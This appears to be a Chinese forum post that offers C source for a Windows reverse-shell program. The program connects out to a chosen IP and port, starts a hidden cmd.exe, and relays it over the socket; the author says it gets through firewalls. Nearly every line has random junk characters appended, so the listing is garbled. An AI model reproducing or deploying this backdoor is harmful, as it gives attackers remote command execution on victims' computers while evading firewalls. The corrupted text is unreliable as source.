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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lko k2  
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/* ============================== -VhxnhS  
Rebound port in Windows NT Y<9]7R(\;  
By wind,2006/7 UZb!tO2  
===============================*/ d0 qc%.s  
#include ^A' Bghy  
#include ;J&9 l >  
Ul%D}(,  
#pragma comment(lib,"wsock32.lib") P1A5Qq  
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void OutputShell(); {;E]#=|  
SOCKET sClient; U.p"JSH L  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; wA?q/cw C  
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void main(int argc,char **argv) o`<ps$ yT  
{ z< ,rE  
WSADATA stWsaData; ]aTF0 R  
int nRet;  _)=eE  
SOCKADDR_IN stSaiClient,stSaiServer; ,ou&WI yC  
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if(argc != 3) !<W^Fh  
{ diDB>W  
printf("Useage:\n\rRebound DestIP DestPort\n"); Cso-WG,  
return; Yi+$g  
} z`KP }-  
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WSAStartup(MAKEWORD(2,2),&stWsaData); pA?2UZ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B7ty*)i?  
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stSaiClient.sin_family = AF_INET; Z"Byv.yqb  
stSaiClient.sin_port = htons(0); +[Zcz4\9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^b@&O-&s  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2V)qnMxAZJ  
{  j2%?-(U  
printf("Bind Socket Failed!\n"); Os"T,`F2s  
return; !@wG22iC4d  
} 8lfKlXR78  
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stSaiServer.sin_family = AF_INET; u RPvo}!=1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %% A==_b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *e}1KcJ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _rjB.  
{ X>kW)c4{b  
printf("Connect Error!"); kb2M3%6 V  
return; ?2i\E RG?  
} j#[%-nOT  
OutputShell(); z((9vi W  
} )h,-zAnZ  
j^qI~|#  
void OutputShell() ".:]? Lvt  
{ n+%tu"e  
char szBuff[1024]; cL yed3uU  
SECURITY_ATTRIBUTES stSecurityAttributes; 1J @43>u{  
OSVERSIONINFO stOsversionInfo; :elTqw>pn  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; kQQhZ8Ch  
STARTUPINFO stStartupInfo; NQqq\h  
char *szShell; 0FG|s#Ig  
PROCESS_INFORMATION stProcessInformation; Fooa~C"  
unsigned long lBytesRead; 'ghwc:Og|%  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [y(AdZ0*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `6QQS3fk!  
stSecurityAttributes.lpSecurityDescriptor = 0; l_z@.</8P@  
stSecurityAttributes.bInheritHandle = TRUE; -VPda @@w  
Z&j?@k,k  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^dCSk==  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m0_B[dw  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cu#s}* Ip  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ye"#tCOEG  
stStartupInfo.wShowWindow = SW_HIDE; 71inHg  
stStartupInfo.hStdInput = hReadPipe; "R9^X3;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {u_2L_  
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GetVersionEx(&stOsversionInfo); tj;<EaM  
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switch(stOsversionInfo.dwPlatformId) >S=,ype~G  
{ 9d1 G u"  
case 1: 7UA|G2Zr  
szShell = "command.com"; j3yz"-53e  
break; ZK8I f?SD  
default: Cv;\cI"&  
szShell = "cmd.exe"; /!HFi>   
break; 4,P!D3SH  
} StWF66u34&  
6kM'f}t[C  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;gmfWHB<  
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send(sClient,szMsg,77,0); g"o),$tm  
while(1) 95X!{\  
{ k=8LhO  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~sUWXw7~  
if(lBytesRead) Imm|5-qJ  
{ >W7IWhm3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Wk*t-  
send(sClient,szBuff,lBytesRead,0); _E<  
} xzjG|"a[GB  
else Th(F^W9  
{ [tY+P7j9)  
lBytesRead=recv(sClient,szBuff,1024,0); GYM6 `  
if(lBytesRead<=0) break; >h<bYk"9Q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5|Or,8r(C  
} g7),si*  
} s#2<^6  
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return; h<ULp &g  
}
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